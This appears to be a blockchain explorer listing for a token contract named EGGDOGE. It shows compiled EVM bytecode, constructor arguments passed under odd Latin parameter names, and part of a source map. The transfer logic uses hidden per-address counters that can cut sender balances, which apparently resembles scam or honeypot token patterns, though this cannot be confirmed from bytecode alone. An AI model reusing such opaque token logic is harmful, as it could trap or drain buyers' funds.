b565b60405180910390f35b6103a760048036038101906103a291906110a7565b6107de565b6040516103b49190611403565b60405180910390f35b6103c5610865565b6040516103d291906112d0565b60405180910390f35b6103f560048036038101906103f0919061107a565b61088b565b005b610411600480360381019061040c919061107a565b610983565b60405161041e9190611403565b60405180910390f35b60606003805461043690611628565b80601f016020809104026020016040519081016040528092919081815260200182805461046290611628565b80156104af5780601f10610484576101008083540402835291602001916104af565b820191906000526020600020905b81548152906001019060200180831161049257829003601f168201915b5050505050905090565b6000806104c461099b565b90506104d18185856109a3565b600191505092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60008061051e61099b565b905061052b858285610b6e565b610536858585610bfa565b60019150509392505050565b60006009905090565b60008061055661099b565b905061057781858561056885896107de565b6105729190611455565b6109a3565b600191505092915050565b60025481565b600b6020528060005260406000206000915090505481565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61060861099b565b73ffffffffffffffffffffffffffffffffffffffff16610626610688565b73ffffffffffffffffffffffffffffffffffffffff161461067c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610673906113a3565b60405180910390fd5b6106866000610f8a565b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106c190611628565b80601f01602080910402602001604051908101604052809291908181526020018280546106ed90611628565b801561073a5780601f1061070f5761010080835404028352916020019161073a565b820191906000526020600020905b81548152906001019060200180831161071d57829003601f168201915b5050505050905090565b60008061074f61099b565b9050600061075d82866107de565b9050838110156107a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610799906113e3565b60405180910390fd5b6107af82868684036109a3565b60019250505092915050565b6000806107c661099b565b90506107d3818585610bfa565b600191505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61089361099b565b73ffffffffffffffffffffffffffffffffffffffff166108b1610688565b73ffffffffffffffffffffffffffffffffffffffff1614610907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fe906113a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096e90611343565b60405180910390fd5b61098081610f8a565b50565b600c6020528060005260406000206000915090505481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0a906113c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a90611363565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b619190611403565b60405180910390a3505050565b6000610b7a84846107de565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610bf45781811015610be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdd90611383565b60405180910390fd5b610bf384848484036109a3565b5b50505050565b6000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610c8857506000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d3c578273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3b57600854600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d339190611536565b925050819055505b5b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600854600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610df59190611455565b925050819055506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610e9a57816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e929190611536565b925050819055505b600060075483610eaa91906114dc565b9050606481610eb991906114ab565b90508083610ec79190611536565b9250826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f179190611455565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f7b9190611403565b60405180910390a35050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008135905061105f8161188b565b92915050565b600081359050611074816118a2565b92915050565b6000602082840312156110905761108f6116e7565b5b600061109e84828501611050565b91505092915050565b600080604083850312156110be576110bd6116e7565b5b60006110cc85828601611050565b92505060206110dd85828601611050565b9150509250929050565b600080600060608486031215611100576110ff6116e7565b5b600061110e86828701611050565b935050602061111f86828701611050565b925050604061113086828701611065565b9150509250925092565b60008060408385031215611151576111506116e7565b5b600061115f85828601611050565b925050602061117085828601611065565b9150509250929050565b6111838161156a565b82525050565b6111928161157c565b82525050565b6111a1816115bf565b82525050565b60006111b282611439565b6111bc8185611444565b93506111cc8185602086016115f5565b6111d5816116ec565b840191505092915050565b60006111ed602683611444565b91506111f8826116fd565b604082019050919050565b6000611210602283611444565b915061121b8261174c565b604082019050919050565b6000611233601d83611444565b915061123e8261179b565b602082019050919050565b6000611256602083611444565b9150611261826117c4565b602082019050919050565b6000611279602483611444565b9150611284826117ed565b604082019050919050565b600061129c602583611444565b91506112a78261183c565b604082019050919050565b6112bb816115a8565b82525050565b6112ca816115b2565b82525050565b60006020820190506112e5600083018461117a565b92915050565b60006020820190506113006000830184611189565b92915050565b600060208201905061131b6000830184611198565b92915050565b6000602082019050818103600083015261133b81846111a7565b905092915050565b6000602082019050818103600083015261135c816111e0565b9050919050565b6000602082019050818103600083015261137c81611203565b9050919050565b6000602082019050818103600083015261139c81611226565b9050919050565b600060208201905081810360008301526113bc81611249565b9050919050565b600060208201905081810360008301526113dc8161126c565b9050919050565b600060208201905081810360008301526113fc8161128f565b9050919050565b600060208201905061141860008301846112b2565b92915050565b600060208201905061143360008301846112c1565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611460826115a8565b915061146b836115a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114a05761149f61165a565b5b828201905092915050565b60006114b6826115a8565b91506114c1836115a8565b9250826114d1576114d0611689565b5b828204905092915050565b60006114e7826115a8565b91506114f2836115a8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561152b5761152a61165a565b5b828202905092915050565b6000611541826115a8565b915061154c836115a8565b92508282101561155f5761155e61165a565b5b828203905092915050565b600061157582611588565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006115ca826115d1565b9050919050565b60006115dc826115e3565b9050919050565b60006115ee82611588565b9050919050565b60005b838110156116135780820151818401526020810190506115f8565b83811115611622576000848401525b50505050565b6000600282049050600182168061164057607f821691505b60208210811415611654576116536116b8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6118948161156a565b811461189f57600080fd5b50565b6118ab816115a8565b81146118b657600080fd5b5056fea2646970667358221220d55d63017302040dcb4d19328797c335ed8ac3dbea9eec7aa74c786170e2629764736f6c63430008070033000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001400000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000d4da14085235a40ea7e19f49e1810295c114164e000000000000000000000000c8e61e78080916f6acc9876bd117e3b21f052b75000000000000000000000000105a984d3485cf0a516160ec2c36ebf59c809835000000000000000000000000e40c3c3d5f7c0bfcf94e83855d44fb4580fb57ec000000000000000000000000b576740cf83bb9354507902c8bad4a090308f3640000000000000000000000000000000000000000000000000000000000000007454747444f4745000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007454747444f474500000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb1461035d578063dd62ed3e1461038d578063efedc669146103bd578063f2fde38b146103db578063f7056cd8146103f75761012c565b806370a08231146102b7578063715018a6146102e75780638da5cb5b146102f157806395d89b411461030f578063a457c2d71461032d5761012c565b8063313ce567116100f4578063313ce567146101eb57806339509351146102095780633eaaf86b1461023957806365415558146102575780636e7cee86146102875761012c565b806306fdde0314610131578063095ea7b31461014f5780631694505e1461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b610139610427565b6040516101469190611321565b60405180910390f35b6101696004803603810190610164919061113a565b6104b9565b60405161017691906112eb565b60405180910390f35b6101876104dc565b6040516101949190611306565b60405180910390f35b6101a5610502565b6040516101b29190611403565b60405180910390f35b6101d560048036038101906101d091906110e7565b610513565b6040516101e291906112eb565b60405180910390f35b6101f3610542565b604051610200919061141e565b60405180910390f35b610223600480360381019061021e919061113a565b61054b565b60405161023091906112eb565b60405180910390f35b610241610582565b60405161024e9190611403565b60405180910390f35b610271600480360381019061026c919061107a565b610588565b60405161027e9190611403565b60405180910390f35b6102a1600480360381019061029c919061107a565b6105a0565b6040516102ae9190611403565b60405180910390f35b6102d160048036038101906102cc919061107a565b6105b8565b6040516102de9190611403565b60405180910390f35b6102ef610600565b005b6102f9610688565b60405161030691906112d0565b60405180910390f35b6103176106b2565b6040516103249190611321565b60405180910390f35b6103476004803603810190610342919061113a565b610744565b60405161035491906112eb565b60405180910390f35b6103776004803603810190610372919061113a565b6107bb565b60405161038491906112eb565b60405180910390f35b6103a760048036038101906103a291906110a7565b6107de565b6040516103b49190611403565b60405180910390f35b6103c5610865565b6040516103d291906112d0565b60405180910390f35b6103f560048036038101906103f0919061107a565b61088b565b005b610411600480360381019061040c919061107a565b610983565b60405161041e9190611403565b60405180910390f35b60606003805461043690611628565b80601f016020809104026020016040519081016040528092919081815260200182805461046290611628565b80156104af5780601f10610484576101008083540402835291602001916104af565b820191906000526020600020905b81548152906001019060200180831161049257829003601f168201915b5050505050905090565b6000806104c461099b565b90506104d18185856109a3565b600191505092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60008061051e61099b565b905061052b858285610b6e565b610536858585610bfa565b60019150509392505050565b60006009905090565b60008061055661099b565b905061057781858561056885896107de565b6105729190611455565b6109a3565b600191505092915050565b60025481565b600b6020528060005260406000206000915090505481565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61060861099b565b73ffffffffffffffffffffffffffffffffffffffff16610626610688565b73ffffffffffffffffffffffffffffffffffffffff161461067c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610673906113a3565b60405180910390fd5b6106866000610f8a565b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106c190611628565b80601f01602080910402602001604051908101604052809291908181526020018280546106ed90611628565b801561073a5780601f1061070f5761010080835404028352916020019161073a565b820191906000526020600020905b81548152906001019060200180831161071d57829003601f168201915b5050505050905090565b60008061074f61099b565b9050600061075d82866107de565b9050838110156107a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610799906113e3565b60405180910390fd5b6107af82868684036109a3565b60019250505092915050565b6000806107c661099b565b90506107d3818585610bfa565b600191505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61089361099b565b73ffffffffffffffffffffffffffffffffffffffff166108b1610688565b73ffffffffffffffffffffffffffffffffffffffff1614610907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fe906113a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096e90611343565b60405180910390fd5b61098081610f8a565b50565b600c6020528060005260406000206000915090505481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0a906113c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a90611363565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b619190611403565b60405180910390a3505050565b6000610b7a84846107de565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610bf45781811015610be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdd90611383565b60405180910390fd5b610bf384848484036109a3565b5b50505050565b6000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610c8857506000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d3c578273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3b57600854600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d339190611536565b925050819055505b5b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600854600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610df59190611455565b925050819055506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610e9a57816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e929190611536565b925050819055505b600060075483610eaa91906114dc565b9050606481610eb991906114ab565b90508083610ec79190611536565b9250826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f179190611455565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f7b9190611403565b60405180910390a35050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008135905061105f8161188b565b92915050565b600081359050611074816118a2565b92915050565b6000602082840312156110905761108f6116e7565b5b600061109e84828501611050565b91505092915050565b600080604083850312156110be576110bd6116e7565b5b60006110cc85828601611050565b92505060206110dd85828601611050565b9150509250929050565b600080600060608486031215611100576110ff6116e7565b5b600061110e86828701611050565b935050602061111f86828701611050565b925050604061113086828701611065565b9150509250925092565b60008060408385031215611151576111506116e7565b5b600061115f85828601611050565b925050602061117085828601611065565b9150509250929050565b6111838161156a565b82525050565b6111928161157c565b82525050565b6111a1816115bf565b82525050565b60006111b282611439565b6111bc8185611444565b93506111cc8185602086016115f5565b6111d5816116ec565b840191505092915050565b60006111ed602683611444565b91506111f8826116fd565b604082019050919050565b6000611210602283611444565b915061121b8261174c565b604082019050919050565b6000611233601d83611444565b915061123e8261179b565b602082019050919050565b6000611256602083611444565b9150611261826117c4565b602082019050919050565b6000611279602483611444565b9150611284826117ed565b604082019050919050565b600061129c602583611444565b91506112a78261183c565b604082019050919050565b6112bb816115a8565b82525050565b6112ca816115b2565b82525050565b60006020820190506112e5600083018461117a565b92915050565b60006020820190506113006000830184611189565b92915050565b600060208201905061131b6000830184611198565b92915050565b6000602082019050818103600083015261133b81846111a7565b905092915050565b6000602082019050818103600083015261135c816111e0565b9050919050565b6000602082019050818103600083015261137c81611203565b9050919050565b6000602082019050818103600083015261139c81611226565b9050919050565b600060208201905081810360008301526113bc81611249565b9050919050565b600060208201905081810360008301526113dc8161126c565b9050919050565b600060208201905081810360008301526113fc8161128f565b9050919050565b600060208201905061141860008301846112b2565b92915050565b600060208201905061143360008301846112c1565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611460826115a8565b915061146b836115a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114a05761149f61165a565b5b828201905092915050565b60006114b6826115a8565b91506114c1836115a8565b9250826114d1576114d0611689565b5b828204905092915050565b60006114e7826115a8565b91506114f2836115a8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561152b5761152a61165a565b5b828202905092915050565b6000611541826115a8565b915061154c836115a8565b92508282101561155f5761155e61165a565b5b828203905092915050565b600061157582611588565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006115ca826115d1565b9050919050565b60006115dc826115e3565b9050919050565b60006115ee82611588565b9050919050565b60005b838110156116135780820151818401526020810190506115f8565b83811115611622576000848401525b50505050565b6000600282049050600182168061164057607f821691505b60208210811415611654576116536116b8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6118948161156a565b811461189f57600080fd5b50565b6118ab816115a8565b81146118b657600080fd5b5056fea2646970667358221220d55d63017302040dcb4d19328797c335ed8ac3dbea9eec7aa74c786170e2629764736f6c63430008070033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001400000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000d4da14085235a40ea7e19f49e1810295c114164e000000000000000000000000c8e61e78080916f6acc9876bd117e3b21f052b75000000000000000000000000105a984d3485cf0a516160ec2c36ebf59c809835000000000000000000000000e40c3c3d5f7c0bfcf94e83855d44fb4580fb57ec000000000000000000000000b576740cf83bb9354507902c8bad4a090308f3640000000000000000000000000000000000000000000000000000000000000007454747444f4745000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007454747444f474500000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : philosophiae (string): EGGDOGE
Arg [1] : opibus (string): EGGDOGE
Arg [2] : maritima (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [3] : ibique (address): 0xD4dA14085235A40ea7e19F49e1810295C114164e
Arg [4] : praetenturis (address): 0xc8e61E78080916F6acC9876BD117e3B21F052B75
Arg [5] : densis (address): 0x105A984D3485cf0A516160eC2c36Ebf59c809835
Arg [6] : contulerunt (address): 0xe40C3c3D5f7C0bFcf94E83855D44fb4580fb57eC
Arg [7] : rebellatrix (address): 0xB576740cf83bB9354507902c8BAD4a090308f364

-----Encoded View---------------
12 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000100
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000140
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 000000000000000000000000d4da14085235a40ea7e19f49e1810295c114164e
Arg [4] : 000000000000000000000000c8e61e78080916f6acc9876bd117e3b21f052b75
Arg [5] : 000000000000000000000000105a984d3485cf0a516160ec2c36ebf59c809835
Arg [6] : 000000000000000000000000e40c3c3d5f7c0bfcf94e83855d44fb4580fb57ec
Arg [7] : 000000000000000000000000b576740cf83bb9354507902c8bad4a090308f364
Arg [8] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [9] : 454747444f474500000000000000000000000000000000000000000000000000
Arg [10] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [11] : 454747444f474500000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

24504:1678:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8634:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10988:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24646:41;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9748:117;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11765:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9591:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12466:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8052:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24723:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7926;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9928:130;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2533:94;;;:::i;:::-;;1879:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8852:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13203:432;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10264:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10517:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24694:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2785:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;24771:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8634:99;8688:13;8721:4;8714:11;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8634:99;:::o;10988:197::-;11071:4;11088:13;11104:12;:10;:12::i;:::-;11088:28;;11127;11132:5;11139:7;11148:6;11127:4;:28::i;:::-;11173:4;11166:11;;;10988:197;;;;:::o;24646:41::-;;;;;;;;;;;;;:::o;9748:117::-;9809:7;9836:21;9829:28;;9748:117;:::o;11765:292::-;11896:4;11913:15;11931:12;:10;:12::i;:::-;11913:30;;11954:38;11970:4;11976:7;11985:6;11954:15;:38::i;:::-;12003:24;12010:4;12016:2;12020:6;12003;:24::i;:::-;12045:4;12038:11;;;11765:292;;;;;:::o;9591:92::-;9649:5;9674:1;9667:8;;9591:92;:::o;12466:234::-;12554:4;12571:13;12587:12;:10;:12::i;:::-;12571:28;;12610:60;12615:5;12622:7;12659:10;12631:25;12641:5;12648:7;12631:9;:25::i;:::-;:38;;;;:::i;:::-;12610:4;:60::i;:::-;12688:4;12681:11;;;12466:234;;;;:::o;8052:27::-;;;;:::o;24723:41::-;;;;;;;;;;;;;;;;;:::o;7926:::-;;;;;;;;;;;;;;;;;:::o;9928:130::-;10005:7;10032:6;:18;10039:10;10032:18;;;;;;;;;;;;;;;;10025:25;;9928:130;;;:::o;2533:94::-;2113:12;:10;:12::i;:::-;2102:23;;:7;:5;:7::i;:::-;:23;;;2094:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2598:21:::1;2616:1;2598:9;:21::i;:::-;2533:94::o:0;1879:87::-;1925:7;1952:6;;;;;;;;;;;1945:13;;1879:87;:::o;8852:100::-;8908:13;8941:3;8934:10;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8852:100;:::o;13203:432::-;13296:4;13313:13;13329:12;:10;:12::i;:::-;13313:28;;13352:24;13379:25;13389:5;13396:7;13379:9;:25::i;:::-;13352:52;;13443:15;13423:16;:35;;13415:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;13536:56;13541:5;13548:7;13576:15;13557:16;:34;13536:4;:56::i;:::-;13623:4;13616:11;;;;13203:432;;;;:::o;10264:190::-;10343:4;10360:13;10376:12;:10;:12::i;:::-;10360:28;;10399:25;10406:5;10413:2;10417:6;10399;:25::i;:::-;10442:4;10435:11;;;10264:190;;;;:::o;10517:151::-;10606:7;10633:11;:18;10645:5;10633:18;;;;;;;;;;;;;;;:27;10652:7;10633:27;;;;;;;;;;;;;;;;10626:34;;10517:151;;;;:::o;24694:20::-;;;;;;;;;;;;;:::o;2785:192::-;2113:12;:10;:12::i;:::-;2102:23;;:7;:5;:7::i;:::-;:23;;;2094:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2894:1:::1;2874:22;;:8;:22;;;;2866:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2950:19;2960:8;2950:9;:19::i;:::-;2785:192:::0;:::o;24771:45::-;;;;;;;;;;;;;;;;;:::o;692:98::-;745:7;772:10;765:17;;692:98;:::o;16417:376::-;16566:1;16549:19;;:5;:19;;;;16541:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16647:1;16628:21;;:7;:21;;;;16620:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16731:6;16701:11;:18;16713:5;16701:18;;;;;;;;;;;;;;;:27;16720:7;16701:27;;;;;;;;;;;;;;;:36;;;;16769:7;16753:32;;16762:5;16753:32;;;16778:6;16753:32;;;;;;:::i;:::-;;;;;;;;16417:376;;;:::o;17084:449::-;17219:24;17246:25;17256:5;17263:7;17246:9;:25::i;:::-;17219:52;;17306:17;17286:16;:37;17282:244;;17368:6;17348:16;:26;;17340:68;;;;